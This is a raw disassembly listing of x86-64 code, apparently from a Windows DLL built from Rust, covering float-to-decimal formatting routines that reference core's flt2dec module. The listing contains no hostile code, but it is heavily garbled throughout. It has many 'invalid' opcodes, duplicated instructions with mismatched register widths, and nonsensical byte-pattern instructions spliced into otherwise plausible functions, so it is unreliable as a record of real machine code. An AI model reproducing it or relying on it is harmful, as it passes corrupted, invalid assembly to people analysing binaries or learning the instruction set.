cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae 0x180029b80
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x180029bfd
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x18007b53b]
mov r9d, 2
mov rcx, rdx
mov dl, 1
call fcn.180020560
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x1800715b8]
mov edx, 0x80
call fcn.180069790
int3
xor eax, eax
jmp 0x18002a826
lea eax, [rdi + 0x1b]
cmp rax, 0x53
jb 0x18002a830
cmp r9, 0xffffffffffffffff
jne 0x18002a830
xor eax, eax
mov r8d, 0xffffffff
invalid
invalid
invalid
mov edx, r8d
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rax, r10
shr rax, 0x3f
imul edx, edi, 0x3526a
sar edx, 0x10
sub edx, ecx
add edx, eax
add edx, 0x3f
mov rcx, rax
mov ecx, eax
mov ecx, eax
add rcx, 9
mov rax, r10
shr rax, cl
cmp edx, 0xfffffc02
jge 0x18002a86f
cmp edx, 0xfffffbc3
jae 0x18002a8ee
invalid
xor r8d, r8d
xor eax, eax
jmp 0x18002a826
add rsi, 4
add esi, 4
mov r11d, eax
mov rdi, rax
mov edi, eax
mov edi, eax
shl rdi, cl
and r11d, 3
xor r11, 1
xor rdi, r10
mov rcx, rax
and rcx, 0xfffffffffffffffc
loope 0x18002a88a
or rdi, r11
cmovne rcx, rax
cmp r9, 2
cmovae rcx, rax
cmp rsi, 0x1c
cmovae rcx, rax
enter 0xffffffffffff8348, 0xfffffffffffffffe
sbb al, 0x48
cmovae ecx, eax
mov eax, ecx
and eax, 1
add rax, rcx
mov rcx, rax
shr rcx, 0x36
cmp rcx, 1
sbb edx, 0xffffffff
add edx, 0x3ff
cmp edx, 0x7fe
ja 0x18002a7a6
xchg ecx, ebx
invalid
invalid
invalid
shr rax, 1
movabs r8, 0xefffffffffffff
out dx, eax
add byte [rcx + 0x21], cl
and eax, eax
out dx, eax
add byte [rcx + 0x21], cl
and eax, eax
xor eax, eax
and eax, eax
xor eax, eax
test rcx, rcx
cmove rax, r8
mov r8d, edx
jmp 0x18002a826
shr cl, 1
cmp bh, bh
invalid
mov ecx, 2
sub ecx, edx
mov rdx, rax
shr rdx, cl
bt rax, rcx
adc rdx, 0
mov rax, rdx
shr rax, 1
xor r8d, r8d
shr rdx, 0x35
setne r8b
jmp 0x18002a826
cmp byte [rcx], 0x2b
jne 0x18002a9a3
inc r9
lea rax, [r8 - 1]
cmp r8, 0x12
mov r8, rax
jb 0x18002a9a9
xor r10d, r10d
mov r11d, 0xa
xor eax, eax
nop dword [rax + rax]
movzx esi, byte [r9 + r10]
add esi, 0xffffffd0
mul r11
jo 0x18002a9e6
cmp esi, 0xa
jae 0x18002a9da
mov edx, esi
add rax, rdx
jb 0x18002a9ef
inc r10
cmp r8, r10
jne case.0x1800085b2.240
jmp 0x18002a9d2
cmp r8, 0x11
jae case.0x1800084e6.244
xor edx, edx
xor eax, eax
nop dword [rax]
movzx r10d, byte [r9 + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
or dword [rdi + 0x1b], esi
or dword [rdi + 0x1b], esi
lea rax, [rax + rax*4]
mov r10d, r10d
lea rax, [r10 + rax*2]
inc rdx
ret 0x3949
sal byte [rbp - 0x22], 1
ret 0x3949
mov qword [rcx + 8], rax
xor eax, eax
jmp 0x18002a9e1
mov al, 1
mov byte [rcx + 1], al
mov al, 1
mov byte [rcx], al
pop rsi
pop rbp
ret
xor eax, eax
cmp esi, 0xa
adc al, 1
jmp 0x18002a9dc
mov al, 2
jmp 0x18002a9dc
inc rcx
lea rax, [r9 - 1]
cmp r9, 6
cmp ecx, 6
cmp ecx, 6
mov r9, rax
jb 0x18002aa98
xor r10d, r10d
mov r11w, 0xa
invalid
or al, byte [rax]
mov ebx, 0xc031000a
xor eax, eax
nop word cs:[rax + rax]
add byte [rdx + 0xf], al
mov dh, 0x34
adc dword [rbx + 0x4166d0c6], eax
mul ebx
movzx esi, byte [rcx + r10]
add esi, 0xffffffd0
mul r11w
jo 0x18002aad5
cmp esi, 0xa
jae 0x18002aac7
add ax, si
add eax, esi
jb 0x18002aae7
inc r10
cmp r9, r10
jne 0x18002aa70
jmp 0x18002aabf
xor edx, edx
xor eax, eax
nop dword [rax]
movzx r10d, byte [rcx + rdx]
adc al, 0x11
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x18002aac7
rol byte [rcx - 0x7d], 1
cli
or dword [rdi + 0x18], esi
add eax, eax
lea eax, [rax + rax*4]
add byte [rcx + rax - 0x30], 0x48
inc edx
add byte [rcx + rax - 0x30], 0x48
inc edx
cmp r9, rdx
jne 0x18002aaa0
shl eax, 0x10
xor r8d, r8d
xor eax, eax
xor eax, eax
jmp 0x18002aacc
mov eax, 0x100
add byte [rcx], al
add byte [rax], al
or r8d, eax
mov eax, r8d
mov eax, eax
mov eax, eax
pop rsi
pop rbp
ret
xor eax, eax
cmp esi, 0xa
dec byte [rdx]
dec byte [rdx]
setb al
shl eax, 8
add eax, 0x100
jmp 0x18002aacc
mov eax, 0x200
jmp 0x18002aacc
movups xmm1, xmmword [rcx]
and r8b, 1
mov rcx, rdx
pop rbp
jmp fcn.18002ab70
mov eax, dword [rcx]
movd xmm1, eax
and eax, 0x7fffffff
movd xmm0, eax
ucomiss xmm0, dword [0x18006c764]
add eax, 0x41c3a
add eax, 0x41c3a
jae 0x18002ab5a
movss xmm2, dword [0x18006c760]
movaps xmm3, xmm0
cmpltps xmm3, xmm2
xorps xmm2, xmm2
cmpneqps xmm2, xmm0
andps xmm2, xmm3
movd eax, xmm2
test al, 1
jne 0x18002ab5a
and r8b, 1
mov rcx, rdx
pop rbp
jmp 0x18002afa0
and r8b, 1
mov rcx, rdx
pop rbp
jmp 0x18002b230
leave
invalid
add byte [rax], al
leave
invalid
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4d8
lea rbp, [rsp + 0x80]
mov eax, r8d
mov eax, eax
add byte [rax], 0
add byte [rcx + rcx*4 - 0x40], al
mov eax, eax
mov eax, eax
movd r10d, xmm1
mov edx, r10d
shr edx, 0x17
invalid
invalid
movzx r8d, dl
lea r11d, [r10 + r10]
and r11d, 0xfffffe
add byte [rcx + rcx*4 - 0x2e], al
invalid
ret 0x8d47
add byte [rcx + rcx*4 - 0x2e], al
and edx, 0x7fffff
or edx, 0x800000
test r8d, r8d
cmove edx, r11d
movdqa xmm0, xmmword [0x18006c770]
pand xmm0, xmm1
ucomiss xmm0, dword [0x18006c704]
jb 0x18002ac83
mov r11b, 3
mov bl, 3
mov qword [rbp + 0x3b0], rdx
mov qword [rbp + 0x3b8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x3c0], rsi
mov word [rbp + 0x3c8], r8w
mov dword [rbp + 0x3c8], eax
mov dword [rbp + 0x3c8], eax
mov byte [rbp + 0x3ca], r11b
cmp r11b, 2
sti
add dh, byte [rbp + 0x31]
sti
add dh, byte [rbp + 0x31]
lea r14, [0x180081690]
xor eax, 0x56a81
xor ebx, ebx
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x18008261c]
movsxd rax, dword [r10 + rax*4]
add al, 0x82
add al, 0x82
add rax, r10
jmp rax
test al, al
je 0x18002ace0
ror byte [rdi], 0x84
lahf
add byte [rax], al
add byte [rbp - 0x7b], al
ror byte [rax - 0x73], cl
add eax, 0x5067e
test r10d, r10d
lea rax, [0x18007b2c9]
lea r14, [0x180071093]
cmovs r14, rax
mov ebx, 1
add r11b, 0xfe
add bl, 0xfe
ret
movzx eax, r11b
cmp al, 3
mov r10d, 3
ret
cmovb r10d, eax
cmovb edx, eax
rol byte [rcx + 0xf], 1
mov dh, 0xc2
movzx eax, r10b
lea r10, [0x18008261c]
movsxd rax, dword [r10 + rax*4]
invalid
add al, 0x82
add rax, r10
jmp rax
ucomiss xmm1, xmm1
jp 0x18002af73
add byte [rax], al
movd r11d, xmm0
test r11d, r11d
je 0x18002ae4a
mov r11d, edx
and r11d, 1
test r10d, 0x7f800000
je 0x18002af00
push rdx
add al, byte [rax]
add byte [rbp - 0xceedcc], cl
lea esi, [rdx + rdx]
xor edi, edi
cmp edx, 0x800000
sete dil
sete bh
mov edx, 0x2000000
cmovne rdx, rsi
lea rsi, [rdi + 1]
xor edi, 0xffffff69
movzx r8d, r8w
add r8d, edi
xor r11b, 1
jmp 0x18002abda
add ecx, ebp
cli
invalid
mov ebx, r10d
shr ebx, 0x1f
test r10d, r10d
lea rax, [0x18007b2c9]
lea r14, [0x180081690]
cmovs r14, rax
add r11b, 0xfe
movzx eax, r11b
cmp al, 3
mov r10d, 3
cmovb r10d, eax
movzx eax, r10b
lea r10, [0x18008261c]
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
mov word [rbp + 0x3d0], 2
add byte [rax], al
add al, byte [rax]
lea rax, [0x180071094]
jmp 0x18002ae27
mov word [rbp + 0x3d0], 2
test r9, r9
je 0x18002ae52
lea rax, [0x180071058]
add byte [rax - 0x77], cl
test eax, ebx
add eax, dword [rax]
add byte [rax - 0x39], cl
test eax, esp
add eax, dword [rax]
add byte [rdx], al
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 2
add byte [rax], al
add byte [rsi - 0x39], ah
test eax, ebp
add eax, dword [rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x73], cl
lock add eax, dword [rax]
add byte [rdx + 2], bh
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test eax, ebp
add eax, dword [rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x73], cl
lock add eax, dword [rax]
add byte [rdx + 2], bh
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rsi, [rbp + 0x3d0]
jmp 0x18002af36
add cl, ch
mov dl, 1
add byte [rax], al
mov r15, rcx
test r8w, r8w
mov rax, 0xfffffffffffffff4
hlt
invalid
invalid
invalid
mov ecx, 5
cmovs rcx, rax
movsx rdi, r8w
imul rdi, rcx
cmp rdi, 0x3ec0
jae 0x18002af7b
add byte [rax], al
hlt
add byte [rax], al
shr rdi, 4
add rdi, 0x15
mov eax, r9d
neg eax
mov r12, r9
mov esp, ecx
mov esp, ecx
cmp r9, 0x8000
mov r13d, 0x8000
cmovb r13d, eax
mov qword [rsp + 0x20], rdi
mov word [rsp + 0x28], r13w
lea rsi, [rbp + 0x3d0]
lea r9, [rbp - 0x50]
mov rcx, rsi
call fcn.180024c70
cmp qword [rbp + 0x3d0], 0
je 0x18002ae6d
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x440], rax
movups xmm0, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0x430], xmm0
jmp 0x18002ae8d
mov word [rbp + 0x3d0], 2
lea rax, [0x180071097]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 3
add byte [rax - 0x39], cl
test eax, esp
add eax, dword [rax]
add byte [rbx], al
add byte [rax], al
add byte [rdx + 1], bh
add byte [rax], al
mov edx, 1
add byte [rax], al
lea rsi, [rbp + 0x3d0]
jmp 0x18002af36
mov r11b, 4
jmp 0x18002abda
lea rax, [0x18007b2ca]
mov qword [rbp + 0x3d8], rax
jno 0x18002ae5b
add eax, 0x85894800
fadd dword [rbx]
add byte [rax], al
test eax, ebx
add eax, dword [rax]
add byte [rax - 0x39], cl
test eax, esp
mov qword [rbp + 0x3e0], 1
jmp 0x18002ae39
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add bl, ch
int3
mov word [rsp + 0x20], r13w
lea rcx, [rbp + 0x430]
lea rdx, [rbp + 0x3b0]
xchg ebp, eax
mov al, 3
add byte [rax], al
and byte [rax - 0x73], cl
lea esi, [rax]
add al, 0
add byte [rax - 0x73], cl
xchg ebp, eax
mov al, 3
add byte [rax], al
lea r8, [rbp - 0x50]
mov r9, rdi
call fcn.180023630
invalid
xchg edi, edi
invalid
invalid
movabs dword [0x4085b70f44ffff87], eax
invalid
movzx r8d, word [rbp + 0x440]
cmp r8w, r13w
invalid
add al, 0
add byte [rsi + 0x45], ah
cmp eax, ebp
invalid
call 0x1fee437ea
and al, 0x48
mov ecx, dword [rbp + 0x430]
add al, 0
invalid
mov r9, r12
mov ecx, esp
jle case.0x18000b84e.178
mov rcx, qword [rbp + 0x430]
add al, 0
add byte [rax - 0x75], cl
xchg ebp, eax
mov rdx, qword [rbp + 0x438]
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
cmp byte [rax + rax], al
add al, 0
add byte [rax - 0x73], cl
test eax, edx
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
call fcn.1800252b0
mov rsi, rax
jmp 0x18002af33
mov word [rbp + 0x3d0], 2
test r9, r9
add eax, dword [rax]
add byte [rdx], al
add byte [rbp - 0x7b], cl
leave
je 0x18002af15
lea rax, [0x180071058]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test eax, ebx
add eax, dword [rax]
add byte [rax - 0x39], cl
test eax, esp
add eax, dword [rax]
invalid
add byte [rdx], al
add byte [rax], al
add byte [rsi - 0x39], ah
test eax, ebp
add eax, dword [rax]
add byte [rax], al
add byte [rcx + rcx*4 - 0x73], cl
invalid
invalid
invalid
lock add eax, dword [rax]
add eax, dword [rax]
mov word [rbp + 0x3e8], 0
mov qword [rbp + 0x3f0], r9
mov dword [rbp + 0x3f0], ecx
invalid
add eax, dword [rax]
add byte [rdx + 2], bh
mov edx, 2
jmp 0x18002af33
add r8d, 0xffffff6a
xor r11b, 1
mov esi, 1
shr byte [rdx - 1], 0xff
push 0xffffffffffffffff
invalid
inc dword [rcx - 0x80]
add dword [rsi + 1], edi
jmp 0x18002abda
cld
invalid
lea rax, [0x18007b2ca]
lea eax, [0x18007b2ca]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0x3e0], 1
mov edx, 1
invalid
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov qword [rbp + 0x430], r14
mov qword [rbp + 0x438], rbx
add byte [rax], al
mov qword [rbp + 0x440], rsi
mov qword [rbp + 0x448], rdx
lea rdx, [rbp + 0x430]
call fcn.18002b4a0
add byte [rax - 0x273b7eb8], dl
add al, 0
add byte [rbx + 0x5f], bl
add byte [rax - 0x273b7eb8], dl
add al, 0
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
mov r11b, 2
jmp 0x18002abda
lea rcx, [0x18007109d]
lea ecx, [0x18007109d]
lea r8, str.librarycore_src_num_flt2decmod.rs
mov edx, 0x25
add byte [rdx + 0x25], bh
call fcn.180069820
int3
int3
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xe0
lea rbp, [rsp + 0x80]
movd edi, xmm1
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rsi + 0xf], ah
jle 0x18002af88
mov eax, edi
shr eax, 0x17
movzx edx, al
lea eax, [rdi + rdi]
and eax, 0xfffffe
add byte [rcx - 0x77], al
stc
add byte [rcx - 0x77], al
stc
mov ecx, edi
and r9d, 0x7fffff
or r9d, 0x800000
invalid
invalid
invalid
add byte [rax + 0x44d28500], al
cmove ecx, eax
add byte [rax], 0x85
rol byte [rdi + rcx + 0x44], cl
enter 0xf66, 0x6f
add eax, 0x41788
add al, 0
test edx, edx
cmove r9d, eax
movdqa xmm0, xmmword [0x18006c770]
add al, 0
add byte [rsi + 0xf], ah
fcmovnb st(0), st(1)
pand xmm0, xmm1
ucomiss xmm0, dword [0x18006c704]
jb 0x18002b085
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x4d894c03], dh
and byte [rax - 0x39], cl
sub byte [r9], r8b
add byte [rax], al
add byte [rcx + rcx*4 + 0x55], cl
xor byte [rsi - 0x77], ah
push rbp
cmp byte [rax + 0x23c3a45], cl
mov al, 3
mov qword [rbp + 0x20], r9
mov qword [rbp + 0x28], 1
mov qword [rbp + 0x30], r10
mov word [rbp + 0x38], dx
mov byte [rbp + 0x3a], al
cmp al, 2
jne case.default.0x18002b03f
lea rbx, [0x180081690]
xor edi, edi
add al, 0xfe
movzx eax, al
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x18008262c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
test r8b, r8b
je 0x18002b0e0
test edi, edi
lea rdx, [0x18007b2c9]
lea rbx, [0x180071093]
cmovs rbx, rdx
mov edi, 1
add al, 0xfe
movzx eax, al
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x18008262c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
ucomiss xmm1, xmm1
jp 0x18002b21d
movd eax, xmm0
test eax, eax
je 0x18002b1aa
mov eax, r9d
mov eax, ecx
and eax, 1
test edi, 0x7f800000
je 0x18002b20a
lea r10d, [r9 + r9]
xor r11d, r11d
cmp r9d, 0x800000
cmp ecx, 0x800000
cmp ecx, 0x800000
sete r11b
mov r9d, 0x2000000
add cl, byte [rbp + 0xf]
retf 0x8d4d
push rbx
add dword [rcx - 0x7f], eax
imul edi, edi, 0xb70fffff
dec dword [rdi]
mov bh, 0xd2
add cl, byte [rbp + 0xf]
retf 0x8d4d
dec dword [rdi]
mov bh, 0xd2
add edx, r11d
xor al, 1
jmp 0x18002affb
sbb edi, edi
invalid
invalid
sbb edi, edi
invalid
test edi, edi
lea rdx, [0x18007b2c9]
dec dword [rax - 0x73]
adc eax, 0x501e0
lea rbx, [0x180081690]
sbb eax, 0x565a0
add eax, 0x480f4800
fcmovb st(0), st(1)
out dx, eax
invalid
cmovs rbx, rdx
shr edi, 0x1f
add al, 0xfe
movzx eax, al
mov dh, 0xc0
cmp al, 3
mov edx, 3
add byte [rdi], cl
ror byte [rdi], 1
mov dh, 0xc2
invalid
add byte [rdi], cl
ror byte [rdi], 1
mov dh, 0xc2
invalid
ret 0x8d48
lea rdx, [0x18008262c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
invalid
loopne 0x18002b180
mov word [rbp - 0x40], 2
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x45f6e
lea rax, [0x180071094]
lea eax, [0x180071094]
jmp 0x18002b193
mov word [rbp - 0x40], 2
rol byte [r10], 0
rol byte [rdx], 0
lea rax, [0x180071058]
lea eax, [0x180071058]
add eax, 0x45f23
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov qword [rbp - 0x30], 2
rol byte [r10], 1
add byte [rax], al
add byte [rsi - 0x39], ah
fadd dword [r8]
invalid
add byte [rax], al
mov word [rbp - 0x28], 0
add byte [rax - 0x39], cl
mov qword [rbp - 0x20], 1
loopne 0x18002b14d
add byte [rax], al
add byte [rax], al
add byte [rdx + 2], bh
mov edx, 2
jmp 0x18002b1a4
mov r14, rcx
mov r14, rcx
lea rsi, [rbp - 0x40]
lea rdx, [rbp + 0x20]
lea edx, [rbp + 0x20]
lea edx, [rbp + 0x20]
lea r8, [rbp - 0x51]
mov rcx, rsi
mov ecx, esi
call fcn.180024470
cmp qword [rbp - 0x40], 0
cmp dword [rbp - 0x40], 0
cmp dword [rbp - 0x40], 0
je 0x18002b1b1
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x50], rax
ror byte [r8 - 0x77], 1
push r8
movups xmm0, xmmword [rbp - 0x40]
ror byte [r15], 0x29
jmp 0x18002b1c2
movaps xmmword [rbp + 0x40], xmm0
jmp 0x18002b1c2
mov word [rbp - 0x40], 2
lea rax, [0x180071097]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 3
mov edx, 1
lea rax, [rbp - 0x40]
jmp 0x18002b1e2
mov al, 4
jmp 0x18002affb
lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea r8, [rbp - 0x51]
call fcn.180022390
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
movzx r8d, word [rbp + 0x50]
mov qword [rsp + 0x20], rsi
mov r9d, 1
call fcn.1800252b0
mov rcx, r14
mov qword [rbp + 0x40], rbx
mov qword [rbp + 0x48], rdi
pop rbp
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
lea rdx, [rbp + 0x40]
lea edx, [rbp + 0x40]
lea edx, [rbp + 0x40]
push rbp
call fcn.18002b4a0
call fcn.18002b4a0
nop
add rsp, 0xe0
invalid
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add edx, 0xffffff6a
xor al, 1
push qword [rcx + rax]
mov r10d, 1
jmp 0x18002affb
mov al, 2
jmp 0x18002affb
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x118
add byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
movd eax, xmm1
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rsi + 0xf], ah
jle case.0x1800084e6.255
mov edx, eax
shr edx, 0x17
movzx r9d, dl
lea edx, [rax + rax]
and edx, 0xfffffe
mov r10d, eax
and r10d, 0x7fffff
or r10d, 0x800000
test r9d, r9d
cmove r10d, edx
movdqa xmm0, xmmword [0x18006c770]
pand xmm0, xmm1
ucomiss xmm0, dword [0x18006c704]
jb 0x18002b31a
mov dl, 3
mov qword [rbp + 0x50], r10
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], r11
mov word [rbp + 0x68], r9w
mov byte [rbp + 0x6a], dl
cmp dl, 2
jne case.default.0x18002b2d3
lea rdi, [0x180081690]
xor esi, esi
add dl, 0xfe
movzx eax, dl
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x18008263c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
test r8b, r8b
je 0x18002b374
test eax, eax
lea rax, [0x18007b2c9]
lea rdi, [0x180071093]
cmp eax, 0x45da5
cmovs rdi, rax
mov esi, 1
add dl, 0xfe
movzx eax, dl
mov dh, 0xc2
mov dh, 0xc2
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
lea rdx, [0x18008263c]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
invalid
loopne 0x18002b32a
ucomiss xmm1, xmm1
leave
jp 0x18002b497
movd edx, xmm0
jle 0x18002b2e9
test edx, edx
je 0x18002b422
test bl, dh
add byte [rax], al
add byte [rcx + rcx*4 - 0x2e], al
mov edx, r10d
and edx, 1
test eax, 0x7f800000
je 0x18002b482
lea r11d, [r10 + r10]
lea ebx, [rdx + rdx]
xor esi, esi
cmp r10d, 0x800000
sete sil
mov r10d, 0x2000000
cmovne r10, r11
lea r11, [rsi + 1]
xor esi, 0xffffff69
movzx r9d, r9w
mov bh, 0xc9
mov bh, 0xc9
add r9d, esi
xor dl, 1
jmp 0x18002b28c
mov esi, eax
shr esi, 0x1f
out dx, al
invalid
test eax, eax
lea rax, [0x18007b2c9]
add al, 0
mov cl, 0xee
out dx, al
invalid
add al, 0
add byte [rax - 0x73], cl
cmp eax, 0x56307
invalid
invalid
invalid
invalid
lea rdi, [0x180081690]
invalid
cmovs rdi, rax
add dl, 0xfe
invalid
dec byte [rdi]
movzx eax, dl
mov dh, 0xc2
cmp al, 3
mov edx, 3
cmovb edx, eax
movzx eax, dl
mov dh, 0xc2
mov dh, 0xc2
ret 0x8d48
lea rdx, [0x18008263c]
lea edx, [0x18008263c]
add byte [rax + 0x63], cl
add al, 0x82
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
loopne 0x18002b417
mov word [rbp - 0x40], 2
lea rax, [0x180071094]
mov dword [rbp - 0x40], 0x8d480002
add eax, 0x45cd7
jmp 0x18002b40b
mov word [rbp - 0x40], 2
mov word [rbp - 0x40], 2
lea rax, [0x18007109a]
jmp 0x18002b40b
mov rbx, rcx
lea rcx, [rbp - 0x40]
lea rdx, [rbp + 0x50]
lea r8, [rbp - 0x51]
call fcn.180024470
mov ss, word [rax - 0x7cb70001]
jge 0x18002b3a6
invalid
je 0x18002b429
mov ss, word [rax - 0x7cb70001]
jge 0x18002b3a6
add byte [rax + rax*2 + 0x48], dh
mov eax, dword [rbp - 0x30]
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0x80], eax
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x70], xmm0
jmp 0x18002b43a
mov word [rbp - 0x40], 2
lea rax, [0x180071097]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 3
mov edx, 1
lea rax, [rbp - 0x40]
jmp 0x18002b456
mov dl, 4
jmp 0x18002b28c
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x50]
jo 0x18002b476
lea edx, [rbp + 0x50]
lea r8, [rbp - 0x51]
call fcn.180022390
mov rcx, qword [rbp + 0x70]
mov ecx, dword [rbp + 0x70]
mov rdx, qword [rbp + 0x78]
movzx r8d, word [rbp + 0x80]
add byte [rbp + rcx*4 + 0x4d], cl
shr al, 0xad
lahf
invalid
dec dword [rax - 0x77]
invalid
add byte [rbp + rcx*4 + 0x4d], cl
shr al, 0xad
lahf
invalid
invalid
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rsi
jo 0x18002b4a3
mov dword [rbp + 0x78], esi
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
lea rdx, [rbp + 0x70]
call fcn.18002b4a0
nop
add rsp, 0x118
pop rbx
pop rdi
pop rsi
pop rbp
ret
add r9d, 0xffffff6a
xor dl, 1
mov r11d, 1
jmp 0x18002b28c
mov dl, 2
jmp 0x18002b28c
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov r8, rdx
mov rsi, rcx
cmp qword [rcx], 0
je 0x18002b502
mov r12, qword [rsi + 8]
mov rdx, qword [r8]
mov rbx, qword [r8 + 8]
mov r14, qword [r8 + 0x10]
mov r15, qword [r8 + 0x18]
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r15
mov r13d, dword [rsi + 0x30]
movzx eax, byte [rsi + 0x38]
test byte [rsi + 0x34], 8
mov byte [rbp + 7], al
jne 0x18002b51f
mov edi, r13d
test r15, r15
jne 0x18002b56e
jmp 0x18002b5ee
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.18002b6d0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8, rbx
call qword [rax + 0x18]
test al, al
jne 0x18002b667
lea rax, [0x180081690]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
xor eax, eax
sub r12, rbx
cmovb r12, rax
mov dword [rsi + 0x30], 0x30
mov byte [rsi + 0x38], 1
mov al, 1
mov edi, 0x30
xor ebx, ebx
test r15, r15
je 0x18002b5ee
shl r15, 3
lea rcx, [r15 + r15*2]
xor edx, edx
jmp 0x18002b591
mov r8, qword [r14 + rdx + 8]
add rbx, r8
add rdx, 0x18
cmp rcx, rdx
je 0x18002b5ee
movzx r8d, word [r14 + rdx]
test r8d, r8d
je 0x18002b580
cmp r8d, 1
jne 0x18002b5d0
movzx r9d, word [r14 + rdx + 2]
cmp r9d, 0x3e8
jae case.0x18002ac81.13
mov r8d, 1
cmp r9w, 0xa
jb 0x18002b585
cmp r9w, 0x64
mov r8d, 3
add bl, ch
invalid
add bl, ch
invalid
mov r8, qword [r14 + rdx + 0x10]
jmp 0x18002b585
movzx r8d, r9w
cmp r8d, 0x2710
mov r8d, 5
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
fadd dword [rax]
sbb r8, 0
jmp 0x18002b585
sub r12, rbx
jbe 0x18002b60f
movzx r15d, al
mov dh, 0xf8
lea rax, [0x18008264c]
movsxd rcx, dword [rax + r15*4]
invalid
add rcx, rax
mov eax, 0xffc10148
loope 0x18002b655
invalid
sar edi, 0xe1
jmp rcx
mov r15, r12
mov edi, esp
xor r12d, r12d
jmp case.0x18002b605.0
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
loopne 0x18002b604
mov al, 0
add byte [rax], al
and byte [rax - 0x75], r9b
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
loopne 0x18002b604
mov al, 0
add byte [rax], al
jmp 0x18002b6a9
test byte [rax], al
add byte [rax], al
mov r15, r12
shr r15, 1
inc r12
shr r12, 1
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
inc r15
nop dword [rax]
dec r15
je 0x18002b654
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
test al, al
je 0x18002b640
jmp 0x18002b667
lea r8, [rbp - 0x20]
lea eax, [rbp - 0x20]
mov rcx, rbx
mov rdx, r14
call fcn.18002b6d0
insd dword [rdi], dx
add byte [rax], al
invalid
test al, al
je 0x18002b66b
insd dword [rdi], dx
add byte [rax], al
add byte [rax + rax*8 + 0x1b00474], al
mov al, 1
jmp 0x18002b6b4
mov dword [rbp], r13d
mov r13, r12
neg r13
mov r15, 0xffffffffffffffff
